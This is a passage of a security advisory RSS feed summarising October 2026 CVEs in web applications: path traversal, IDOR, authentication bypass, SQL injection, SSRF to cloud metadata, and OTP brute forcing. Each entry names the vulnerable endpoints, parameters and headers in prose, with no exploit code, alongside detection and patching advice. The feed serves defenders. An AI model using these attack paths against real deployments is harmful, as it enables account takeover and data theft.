<li>Attacker saves the exfiltrated content, such as a private SSH key, to their local machine.</li>
<li>Attacker uses the stolen credentials to establish persistent access or move laterally within the victim environment.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated remote attackers to read sensitive files from the underlying host filesystem. This poses a severe risk of credential theft, including the acquisition of SSH private keys, environment variables, and configuration files containing secrets. If the <code>ml-logger</code> service is running with elevated privileges, the impact extends to full system compromise. The vulnerability affects all versions of <code>geyang/ml-logger</code> up to commit <code>acf255bade5be6ad88d90735c8367b28cbe3a743</code>.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Implement an authentication-enabled reverse proxy or API gateway in front of all <code>ml-logger</code> instances to restrict access to trusted sources.</li>
<li>Deploy the Sigma rule below to detect path traversal attempts targeting the <code>ml-logger</code> endpoints.</li>
<li>Restrict the operating system user account running <code>ml-logger</code> to the minimum necessary permissions to prevent access to sensitive files like <code>~/.ssh/</code> or <code>/etc/shadow</code>.</li>
<li>Upgrade to a patched version of <code>ml-logger</code> as soon as the vendor provides a formal release addressing the vulnerability.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>arbitrary-file-read</category><category>path-traversal</category><category>webserver</category></item><item><title>IDOR Vulnerability in LingGuo-Drama</title><link>https://feed.craftedsignal.io/briefs/2026-10-lingguo-drama-idor/</link><pubDate>Fri, 16 Oct 2026 18:51:16 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-lingguo-drama-idor/</guid><description>LingGuo-Drama through commit 8a6924a is vulnerable to an Insecure Direct Object Reference (IDOR) flaw allowing unauthorized access, modification, and deletion of user projects.</description><content:encoded><![CDATA[<p>LingGuo-Drama, an application for managing short-drama projects, contains an Insecure Direct Object Reference (IDOR) vulnerability identified as CVE-2026-111722. The vulnerability exists in the projects.Get function, which fails to validate project ownership during access requests. By manipulating numeric identifiers within the API, a self-registered user can bypass authorization controls. The impact is significant, as an attacker can read, overwrite, reassign, or delete any project hosted on the instance, regardless of whether they own it. This issue affects all versions of the application up to and including commit 8a6924a. Defenders should prioritize auditing web server access logs for anomalous patterns of sequential numeric ID requests to the project management API endpoints.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows an unprivileged, self-registered user to access and manipulate data belonging to other users. This can lead to total loss of project confidentiality, integrity, and availability within the impacted LingGuo-Drama instance. The vulnerability poses a high risk to any organization hosting this software, as it requires no elevated privileges to execute unauthorized administrative actions on project objects.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Identify all instances of LingGuo-Drama running versions up to commit 8a6924a and evaluate the necessity of exposure to untrusted users.</li>
<li>Implement strict authorization logic in the projects.Get function to ensure that the requester's ID matches the project owner's ID.</li>
<li>Monitor web server logs for high-frequency GET, PUT, or DELETE requests to /admin/v1/projects/:id where the :id parameter follows a sequential pattern.</li>
<li>Patch or upgrade the LingGuo-Drama instance immediately upon the availability of a vendor-supplied fix that addresses the missing authorization check.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>idor</category><category>web-application-vulnerability</category><category>vulnerability</category></item><item><title>Authentication Bypass in 99AI API Endpoint</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-111706/</link><pubDate>Fri, 16 Oct 2026 18:51:04 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-111706/</guid><description>99AI versions 4.3.0 and earlier contain a missing authentication vulnerability in the /api/chatLog/exportExcel endpoint, enabling unauthenticated attackers to exfiltrate sensitive user chat logs.</description><content:encoded><![CDATA[<p>99AI versions 4.3.0 and earlier are affected by a critical missing authentication vulnerability identified as CVE-2026-111706. The issue resides in the POST /api/chatLog/exportExcel route. An unauthenticated attacker can exploit this flaw by sending a crafted HTTP POST request to the server, which does not verify the user's identity before processing the export task. By manipulating the request parameters - specifically the page, size, and optional email fields - an attacker can trigger the system to generate and download an Excel spreadsheet containing sensitive data. This data includes usernames, email addresses, prompts, and corresponding AI responses. This exposure poses a significant risk to user privacy and data confidentiality, particularly for organizations relying on the application for sensitive internal communications.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability results in the unauthorized exfiltration of the entire user chat log database. Given that the exported records include personally identifiable information (PII) such as usernames and email addresses, as well as potentially sensitive internal prompts and responses, this exposure could lead to mass data breaches and violations of data protection regulations. The number of impacted users depends on the total log volume stored in the specific 99AI instance being targeted.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritized actions for security and infrastructure teams:</p>
<ul>
<li>Upgrade the 99AI application to a patched version beyond 4.3.0 as soon as the vendor provides it.</li>
<li>Implement access control lists (ACLs) or network segmentation to restrict access to the /api/chatLog/exportExcel endpoint to authenticated administrative users only.</li>
<li>Monitor web server access logs for anomalous POST requests to the /api/chatLog/exportExcel endpoint, particularly those originating from unauthorized or external IP addresses.</li>
<li>Deploy the provided Sigma rule to detect and flag exploitation attempts targeting this endpoint.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>CVE-2026-111702: Insecure Direct Object Reference in ChatOllama</title><link>https://feed.craftedsignal.io/briefs/2026-10-chatollama-idor/</link><pubDate>Fri, 16 Oct 2026 18:50:55 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-chatollama-idor/</guid><description>ChatOllama through commit 96c3ce5 contains an insecure direct object reference vulnerability that allows unauthenticated attackers to access private knowledge bases by enumerating sequential ID values.</description><content:encoded><![CDATA[<p>ChatOllama through commit 96c3ce5 is affected by an insecure direct object reference (IDOR) vulnerability, tracked as CVE-2026-111702. This vulnerability allows remote, unauthenticated attackers to bypass authorization controls and access private knowledge bases stored within the application. By providing sequential numerical identifiers to the API, an attacker can enumerate and retrieve sensitive metadata and the content of documents associated with other users' knowledge bases. The vulnerability resides in how the application processes the {id} parameter in GET requests to the knowledgebase endpoint and the knowledgebaseId parameter in POST requests to the chat model interface. Given that these endpoints are typically exposed for API interaction, this flaw poses a significant risk to the confidentiality of organizational data processed by the ChatOllama platform.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability leads to unauthorized access and exfiltration of sensitive information stored within ChatOllama knowledge bases. As knowledge bases often contain internal documentation, private datasets, or proprietary information, this exposure can result in significant data breaches, potential compliance violations, and loss of intellectual property. Since the identifiers are sequential, an attacker can systematically scrape the entire knowledge base repository of an instance without requiring specific knowledge of existing IDs.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Update ChatOllama installations to a version beyond commit 96c3ce5 once a security patch is provided by the vendor. In the interim, implement strict network-level access controls for the /api/knowledgebases and /api/models/chat endpoints to restrict traffic to known, trusted internal IP ranges.</p>
<h2 id="detection">Detection</h2>
<p>Because this vulnerability relies on sequential ID enumeration, detection teams should monitor web access logs for anomalous spikes in 200 OK responses from the /api/knowledgebases/ endpoint, specifically looking for high counts of distinct requested IDs originating from a single source IP.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application-vulnerability</category><category>idor</category><category>cve-2026-111702</category></item><item><title>Authentication Bypass Vulnerability in OtterMind Nubase</title><link>https://feed.craftedsignal.io/briefs/2026-10-ottermind-nubase-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:50:47 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-ottermind-nubase-auth-bypass/</guid><description>OtterMind Nubase versions through 0.1.4 are vulnerable to an authentication bypass in the storage API, allowing unauthenticated attackers to read and delete private objects.</description><content:encoded><![CDATA[<p>OtterMind Nubase through version 0.1.4 contains a critical missing authentication vulnerability affecting the storage API endpoint at /storage/v1/object/{bucketId}/{path}. This flaw stems from a misconfiguration where the API treats all HTTP methods as public, failing to enforce authorization checks for requests directed at private buckets. An attacker who has discovered the target's tenant subdomain, bucket ID, and specific object path can interact with private storage resources without providing an API key or a JSON Web Token (JWT). This access allows unauthenticated parties to download sensitive objects or perform unauthorized deletion operations, potentially resulting in significant data exfiltration or service disruption. Organizations running Nubase 0.1.4 or earlier are susceptible to this risk and should ensure access controls are appropriately restricted or apply available patches.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability permits unauthenticated users to gain unauthorized access to private bucket objects. Impact includes potential exposure of confidential data through forced downloads and the destruction of business-critical information via unauthorized deletion commands. There is currently no evidence of widespread exploitation in the wild, but the simplicity of the attack path increases the risk for organizations utilizing Nubase in public-facing or multi-tenant environments.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Audit web server and application gateway access logs for unauthorized GET or DELETE requests targeting the <code>/storage/v1/object/</code> API path from unexpected source IPs.</li>
<li>Patch all instances of OtterMind Nubase to a version newer than 0.1.4 immediately to remediate the broken authentication logic.</li>
<li>Restrict external network access to the storage API endpoints using IP allowlisting or WAF rules until patching is completed.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">threat</category><category>authentication-bypass</category><category>cloud-security</category><category>api-security</category></item><item><title>SQL Injection in WebVella ERP EQL API</title><link>https://feed.craftedsignal.io/briefs/2026-10-webvella-sql-injection/</link><pubDate>Fri, 16 Oct 2026 18:50:38 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-webvella-sql-injection/</guid><description>Authenticated users can exploit an SQL injection vulnerability in the WebVella ERP EQL query API to exfiltrate sensitive data from user and role tables.</description><content:encoded><![CDATA[<p>WebVella ERP, in all versions up to and including 1.8.8, contains a critical SQL injection vulnerability within its EQL (Entity Query Language) query API. The flaw stems from improper sanitization of WHERE-clause text literals when processing requests to the EQL engine. An authenticated attacker can supply crafted input containing single-quoted literals via the POST /api/v3/en_US/eql endpoint to break out of the intended query structure. By manipulating the EqlBuilder SQL interpolation, the attacker can execute arbitrary SQL commands against the backend database. This vulnerability poses a significant risk to organizational confidentiality, as it allows unauthorized access to sensitive database entities, specifically including user and role information which could be leveraged for further privilege escalation or total system compromise.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows an authenticated user to perform unauthorized database queries, leading to the potential exfiltration of sensitive organizational data. Targeting of the user and role tables enables attackers to gain administrative credentials or escalate privileges within the ERP application, directly impacting data integrity and confidentiality.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade WebVella ERP to a version beyond 1.8.8 as soon as a security patch is provided by the vendor.</li>
<li>Implement strict input validation and parameterized queries for the EqlBuilder component to prevent raw SQL injection.</li>
<li>Monitor logs for the /api/v3/en_US/eql endpoint, specifically looking for POST requests containing high frequencies of single-quote characters or unusual SQL syntax patterns within the request body.</li>
<li>Restrict access to the /api/v3/en_US/eql endpoint to only authorized service accounts and administrative users until a patch is applied.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-vulnerability</category><category>sqli</category><category>erp</category></item><item><title>Insecure Direct Object Reference in Shaiwz data-platform-open</title><link>https://feed.craftedsignal.io/briefs/2026-10-idor-shaiwz/</link><pubDate>Fri, 16 Oct 2026 18:50:30 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-idor-shaiwz/</guid><description>An IDOR vulnerability in Shaiwz data-platform-open allows authenticated users to access, enumerate, and modify foreign workspace datasources by manipulating numeric IDs in API requests.</description><content:encoded><![CDATA[<p>Shaiwz data-platform-open, up to and including commit efeacd3, is susceptible to an Insecure Direct Object Reference (IDOR) vulnerability (CVE-2026-111695). The application fails to properly validate the authorization of authenticated workspace members when interacting with datasource-related API endpoints. An attacker can manipulate numeric identifiers within API requests to perform unauthorized actions on datasources belonging to other workspaces. This flaw enables attackers to exfiltrate sensitive JDBC credentials, enumerate database schemas, and perform destructive actions, such as modifying or deleting datasource configurations. This vulnerability poses a significant risk to data confidentiality and integrity within multi-tenant environments where the platform is deployed.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows authenticated attackers to gain unauthorized access to cross-tenant data. Potential damage includes the theft of sensitive JDBC connection strings and database credentials, mapping of internal database structures, and unauthorized alteration or deletion of datasource configurations. This can lead to total loss of datasource integrity and potential lateral movement into backend database infrastructure.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritized, concrete actions for security teams:</p>
<ul>
<li>Apply the security patch for CVE-2026-111695 once provided by the vendor, or upgrade the application beyond commit efeacd3 immediately.</li>
<li>Monitor web server access logs for anomalous patterns of sequential or high-volume requests to the endpoints /datasource/detail, /listSchemaTable, /tableDetail, /update, and /delete, particularly those associated with authenticated user sessions that deviate from normal usage patterns.</li>
<li>Audit access control logs to identify users attempting to access resource IDs not assigned to their specific workspace.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>idor</category><category>api-security</category><category>web-application</category><category>cve-2026-111695</category></item><item><title>Authentication Bypass in WIMOOR via Unsigned X-USERINFO Header</title><link>https://feed.craftedsignal.io/briefs/2026-10-wimoor-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:50:23 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-wimoor-auth-bypass/</guid><description>WIMOOR through commit ec86736 contains an authentication bypass vulnerability that allows unauthorized tenants to escalate privileges and access sensitive financial data by forging the unsigned X-USERINFO header.</description><content:encoded><![CDATA[<p>WIMOOR through commit ec86736 is susceptible to an authentication bypass vulnerability. The flaw exists because the application incorrectly processes the unsigned 'X-USERINFO' HTTP header when backend service ports are accessed directly, bypassing the intended gateway or proxy authentication mechanisms. By manipulating the 'companyid', 'manager', or 'admin' fields within this header, an unauthenticated attacker can successfully impersonate any tenant, including administrative accounts. This flaw allows unauthorized actors to read and modify sensitive internal information, including order histories, financial records, and Amazon seller authorizations. This represents a significant risk to organizations using WIMOOR, particularly if backend instances are reachable from untrusted network segments.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for full tenant impersonation and unauthorized access to sensitive business operations. Attackers can view or manipulate financial data, modify order processing, and compromise third-party integrations such as Amazon seller authorizations, potentially leading to significant financial loss and operational disruption for users of the platform.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately restrict network access to WIMOOR backend service ports to ensure all traffic must traverse the authorized gateway, preventing direct access.</li>
<li>Patch WIMOOR by updating to a version beyond commit ec86736, ensuring that the application validates the authenticity of 'X-USERINFO' headers instead of relying on client-provided data.</li>
<li>Review web application firewall (WAF) logs for any incoming requests containing custom 'X-USERINFO' headers, which should be considered anomalous if originating from external or non-internal-gateway IP addresses.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>authentication-bypass</category><category>web-application</category><category>cloud</category></item><item><title>Authorization Bypass Vulnerability in Magistrala</title><link>https://feed.craftedsignal.io/briefs/2026-10-magistrala-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:50:10 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-magistrala-auth-bypass/</guid><description>Magistrala through version 1.0.0 contains an authorization bypass flaw allowing authenticated workspace members to perform unauthorized certificate operations across different tenants.</description><content:encoded><![CDATA[<p>Magistrala versions through 1.0.0 contain an authorization bypass vulnerability (CVE-2026-111684) that affects multi-tenant deployments. The vulnerability resides in the workspace certificate management logic, specifically failing to adequately validate the association between the authenticated user's workspace context and the requested device entity or serial number. An authenticated user belonging to one workspace can manipulate API requests to target resources belonging to other tenants. This flaw allows unauthorized actors to view, revoke, or issue certificates for devices they do not own or manage. Because Magistrala functions as an IoT message broker and platform, this vulnerability can lead to critical operational impact, including the mass disconnection of IoT devices, unauthorized disclosure of sensitive identity certificates, and the minting of rogue CA-signed certificates for arbitrary device IDs.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows for cross-tenant unauthorized access, resulting in the potential compromise of IoT device integrity and communication privacy. Attackers can disconnect legitimate tenant devices, exfiltrate sensitive certificate data, and impersonate devices by minting unauthorized certificates. This is particularly critical for industrial or enterprise IoT deployments where device identity is the foundation of trust.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Patch Magistrala immediately to a version that addresses CVE-2026-111684 once the vendor provides the update.</li>
<li>Audit API access logs for unauthorized attempts to invoke certificate management methods (RevokeBySerial, RevokeAll, ViewCert, ListCerts, IssueCert) across workspace boundaries.</li>
<li>Review current workspace membership permissions and implement strict least-privilege access control until a patch is applied.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Missing Authorization Vulnerability in EFAK</title><link>https://feed.craftedsignal.io/briefs/2026-10-efak-missing-auth/</link><pubDate>Fri, 16 Oct 2026 18:50:04 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-efak-missing-auth/</guid><description>Authenticated low-privileged users can exploit missing authorization checks in EFAK 5.1.0 and earlier to escalate privileges and perform administrative actions on managed Kafka clusters.</description><content:encoded><![CDATA[<p>EFAK (formerly Kafka Eagle) versions up to 5.1.0 contain a critical missing authorization vulnerability (CVE-2026-111681). The flaw exists within the /api/users endpoints, which fail to verify if the requesting user possesses administrative privileges before processing account management requests. An authenticated, low-privilege attacker can exploit this by submitting crafted POST, PUT, or DELETE requests to the UserController. This allows the attacker to escalate their own account to ROLE_ADMIN, create new administrative accounts, or delete existing users. Successful exploitation results in the attacker gaining full administrative control over the EFAK instance, which enables further unauthorized management and monitoring of the integrated Kafka clusters. Defenders should ensure EFAK is updated to a patched version once available.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows low-privileged users to achieve full administrative control over the EFAK platform. This compromise extends to the managed Kafka clusters, where the attacker can disrupt message flows, access sensitive cluster configuration data, or delete existing legitimate administrator accounts to maintain persistent, unauthorized access. There is currently no data on the number of victims or active exploitation in the wild.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor web application logs for POST, PUT, or DELETE requests to /api/users coming from non-administrative user accounts.</li>
<li>Patch or upgrade EFAK to the version addressing CVE-2026-111681 as soon as it is released by the vendor.</li>
<li>Implement restrictive access controls on the network to limit access to the EFAK management interface to authorized personnel only.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">threat</category><category>web-application</category><category>privilege-escalation</category><category>kafka</category></item><item><title>Authorization Bypass in APIPark</title><link>https://feed.craftedsignal.io/briefs/2026-10-apipark-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:49:58 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-apipark-auth-bypass/</guid><description>APIPark versions through 1.9.7-beta are vulnerable to an authorization bypass allowing authenticated team managers to manipulate team IDs to access, modify, or delete resources belonging to other teams.</description><content:encoded><![CDATA[<p>APIPark through version 1.9.7-beta is susceptible to an authorization bypass vulnerability (CVE-2026-111680) that impacts multi-tenant environments. The flaw allows an authenticated user with the 'team manager' role to manipulate the 'team' query parameter in API requests. By substituting their own team ID with that of a target team, an attacker can bypass authorization controls and interact with resources they do not own.</p>
<p>This vulnerability grants attackers the ability to read, modify, or delete services and applications belonging to other teams. The attack is carried out by discovering target service or application IDs through information-gathering endpoints, followed by unauthorized requests to management endpoints. The impact is significant for organizations relying on APIPark for API gateway management, as it undermines the logical separation between teams, potentially leading to unauthorized data exposure or operational disruption of sensitive API services.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthorized users to perform administrative actions on services and applications across different teams. This can result in the loss of service availability, unauthorized modification of API configurations, or the exfiltration of metadata and sensitive details related to internal services. This vulnerability is critical in environments with high internal traffic or multiple distinct development/production teams sharing an APIPark instance.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritized actions for security teams to address CVE-2026-111680:</p>
<ul>
<li>Upgrade APIPark to the latest version immediately to remediate the authorization logic flaw identified in CVE-2026-111680.</li>
<li>Review web server and API gateway access logs for abnormal patterns involving requests to /api/v1/service/info or /api/v1/app where the 'team' parameter does not match the requester's legitimate assigned ID.</li>
<li>Audit existing team manager permissions and minimize administrative access until the patch is applied.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application-vulnerability</category><category>authorization-bypass</category><category>api-security</category></item><item><title>Improper Authentication Rate Limiting in Course-tencent-cloud</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-111675/</link><pubDate>Fri, 16 Oct 2026 18:49:49 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-111675/</guid><description>Course-tencent-cloud through version 2.0.1 contains an authentication bypass vulnerability allowing attackers to brute force 6-digit verification codes due to a lack of rate limiting or invalidation.</description><content:encoded><![CDATA[<p>Course-tencent-cloud through version 2.0.1 is affected by a critical design flaw involving the improper restriction of authentication attempts. The application generates 6-digit verification codes sent via SMS or email for account recovery and login verification processes. Due to the absence of rate limiting, attempt counters, or code invalidation mechanisms, these codes remain valid for an indefinite period regardless of the number of failed attempts. An unauthenticated attacker who identifies a target's phone number or email address can initiate a verification request and systematically cycle through the 1,000,000 possible 6-digit combinations. By rotating source IP addresses to bypass basic volumetric blocking, attackers can successfully brute force the verification process and gain unauthorized access to victim accounts. This vulnerability significantly lowers the barrier for account takeover, as it requires no prior knowledge of credentials, only the target's associated communication identifier.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows unauthorized access to user accounts. This facilitates data exfiltration, identity theft, and potential administrative takeover if the affected account holds privileged access. Given the nature of verification codes, this flaw is particularly dangerous for services where account takeover leads to unauthorized financial transactions or sensitive personal data exposure.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize the implementation of server-side rate limiting and account lockout policies for all authentication and verification endpoints. Ensure that verification codes are invalidated after a maximum number of failed attempts or a strict time-based window.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>authentication-bypass</category><category>credential-stuffing</category><category>web-application-vulnerability</category></item><item><title>Insecure Direct Object Reference in Cube-studio</title><link>https://feed.craftedsignal.io/briefs/2026-10-cube-studio-idor/</link><pubDate>Fri, 16 Oct 2026 18:49:43 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cube-studio-idor/</guid><description>An insecure direct object reference vulnerability in Cube-studio versions through 2026.09.01 allows authenticated users to perform unauthorized administrative actions on notebooks and services via sequential ID manipulation.</description><content:encoded><![CDATA[<p>Cube-studio versions through 2026.09.01 are vulnerable to an Insecure Direct Object Reference (IDOR) flaw located within its lifecycle management endpoints. Specifically, the affected files <code>view_notebook.py</code>, <code>view_inferenceserving.py</code>, and <code>view_serving.py</code> fail to properly authorize users before executing lifecycle commands on requested resource IDs. An authenticated attacker can exploit this by passing sequential integer identifiers to these endpoints, allowing them to stop, reset, clear, or redeploy notebooks and services belonging to other users. This vulnerability is critical for production environments, as successful exploitation enables an attacker to delete pods and take critical inference endpoints offline, resulting in a denial-of-service for legitimate services.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows unauthorized control over arbitrary notebooks and services within a shared Cube-studio environment. An attacker with standard user access can cause widespread disruption by terminating production-critical inference endpoints and deleting Kubernetes pods. The scope of impact is limited to organizations hosting multi-user environments where notebook or service isolation relies on the integrity of the Cube-studio access control logic.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade Cube-studio to a version beyond 2026.09.01 once a patch is provided by the vendor.</li>
<li>Implement strict access control validation at the application layer for all lifecycle endpoints in <code>view_notebook.py</code>, <code>view_inferenceserving.py</code>, and <code>view_serving.py</code>.</li>
<li>Monitor web server logs for anomalous patterns of sequential ID requests to lifecycle management endpoints from authenticated user sessions.</li>
<li>Restrict access to the Cube-studio dashboard to trusted networks or implement mTLS to reduce the risk of unauthorized authenticated access.</li>
</ol>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category></item><item><title>CVE-2026-111663: SSRF Vulnerability in Chaskiq GraphQL API</title><link>https://feed.craftedsignal.io/briefs/2026-10-chaskiq-ssrf/</link><pubDate>Fri, 16 Oct 2026 18:49:36 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-chaskiq-ssrf/</guid><description>Chaskiq version 2.0.3 and earlier contains a server-side request forgery vulnerability in the createUrlUpload GraphQL mutation, allowing unauthenticated attackers to access internal resources including cloud metadata services.</description><content:encoded><![CDATA[<p>Chaskiq versions up to and including 2.0.3 contain a server-side request forgery (SSRF) vulnerability identified as CVE-2026-111663. This flaw resides within the createUrlUpload GraphQL mutation, which improperly validates user-supplied URLs. An unauthenticated attacker can leverage this endpoint to force the Chaskiq server to make arbitrary HTTP requests to internal network resources, including sensitive cloud instance metadata services (e.g., 169.254.169.254). The application processes these requests and subsequently leaks the contents of the response to the attacker via an ActiveStorage blob URL. This vulnerability represents a significant risk for organizations hosting Chaskiq within cloud environments, as it may facilitate the exfiltration of instance identities, security tokens, or internal network mapping.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows unauthenticated attackers to conduct SSRF attacks, potentially leading to unauthorized access to internal network infrastructure or cloud provider service metadata. If exploited, an attacker could extract sensitive configuration data or interact with internal APIs that are not exposed to the public internet, posing a high risk for data breach or deeper network compromise.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade all instances of Chaskiq to a patched version beyond 2.0.3 immediately to address the vulnerability in the createUrlUpload mutation.</li>
<li>Implement network-level egress filtering on the Chaskiq application server to restrict access to internal IP ranges, specifically blocking requests to 169.254.169.254 and other private RFC1918 address spaces.</li>
<li>Review web server access logs for anomalous POST requests to the /graphql endpoint containing suspicious URL parameters in the createUrlUpload mutation.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>ssrf</category><category>graphql</category><category>web-vulnerability</category></item><item><title>Missing Authentication in ChronoFrame Wizard API</title><link>https://feed.craftedsignal.io/briefs/2026-10-chronoframe-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:49:29 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-chronoframe-auth-bypass/</guid><description>ChronoFrame versions 1.0.0 and earlier are vulnerable to a missing authentication flaw in API handlers, allowing unauthenticated attackers to reconfigure instance storage and site settings.</description><content:encoded><![CDATA[<p>ChronoFrame through version 1.0.0 contains a critical missing authentication vulnerability within its server/api/wizard/ handlers. This vulnerability allows an unauthenticated, remote attacker to interact with the configuration wizard of an already initialized instance. By sending unauthorized HTTP POST requests to the /api/wizard/storage endpoint, an attacker can modify critical application parameters. Successful exploitation enables the attacker to redirect application data storage to a malicious S3 or OpenList provider, effectively intercepting uploaded data and potentially gaining control over site and map configurations. This flaw poses a high risk to data integrity and confidentiality for deployments of ChronoFrame.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows unauthorized actors to control the storage backend of ChronoFrame instances. This can result in the full exfiltration or interception of user data being written to redirected storage providers. Additionally, the ability to overwrite site and map settings allows attackers to manipulate the application's behavior and potentially perform further administrative actions. The risk is high for any organization hosting public-facing ChronoFrame instances.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor web server logs for unauthorized access attempts or suspicious POST requests targeting the /api/wizard/ path.</li>
<li>Audit current ChronoFrame instance configurations to ensure storage providers point to expected, legitimate S3 or OpenList endpoints.</li>
<li>Implement network-level access controls to restrict access to the /api/wizard/ endpoint to authorized administrative IP addresses only.</li>
<li>Prioritize upgrading ChronoFrame to a version that addresses this missing authentication vulnerability as soon as a security patch is provided by the vendor.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Authentication Bypass in bbs-go via Improper OAuth Token Validation</title><link>https://feed.craftedsignal.io/briefs/2026-10-bbs-go-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:47:39 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-bbs-go-auth-bypass/</guid><description>The bbs-go application up to version 4.4.6 is vulnerable to an authentication bypass via the /api/login/google_one_tap endpoint due to missing validation of the Google ID token audience claim.</description><content:encoded><![CDATA[<p>The bbs-go application, in versions through 4.4.6, contains a critical authentication bypass vulnerability identified as CVE-2026-111639. The vulnerability exists within the /api/login/google_one_tap endpoint, which handles Google One Tap authentication. The application fails to verify the 'aud' (audience) claim within the Google-issued ID token provided during the authentication flow.</p>
<p>By default, Google ID tokens are scoped to the specific OAuth client ID that requested them. Because bbs-go neglects to validate that the 'aud' claim matches its own registered client ID, an attacker can create their own Google OAuth client and obtain an ID token. An attacker can then replay a victim's Google ID token - or use a token issued to the attacker's own client - to successfully authenticate as the victim's Google-linked account. This flaw allows for full account takeover of any user associated with a Google identity, posing a significant risk to user confidentiality and account integrity.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability results in unauthorized access to user accounts. An attacker can impersonate any user who has linked a Google account to their bbs-go profile, gaining full access to the victim's data and account privileges. This vulnerability impacts all installations of bbs-go version 4.4.6 and earlier.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade bbs-go to a patched version once available that implements strict validation of the 'aud' claim in Google ID tokens.</li>
<li>Implement monitoring on web access logs for the /api/login/google_one_tap endpoint to identify anomalies in successful login rates or unexpected 'aud' claims if logging allows inspection of the token payload.</li>
<li>Review audit logs for suspicious account modifications or unauthorized access patterns if the application logs identity provider information.</li>
</ol>
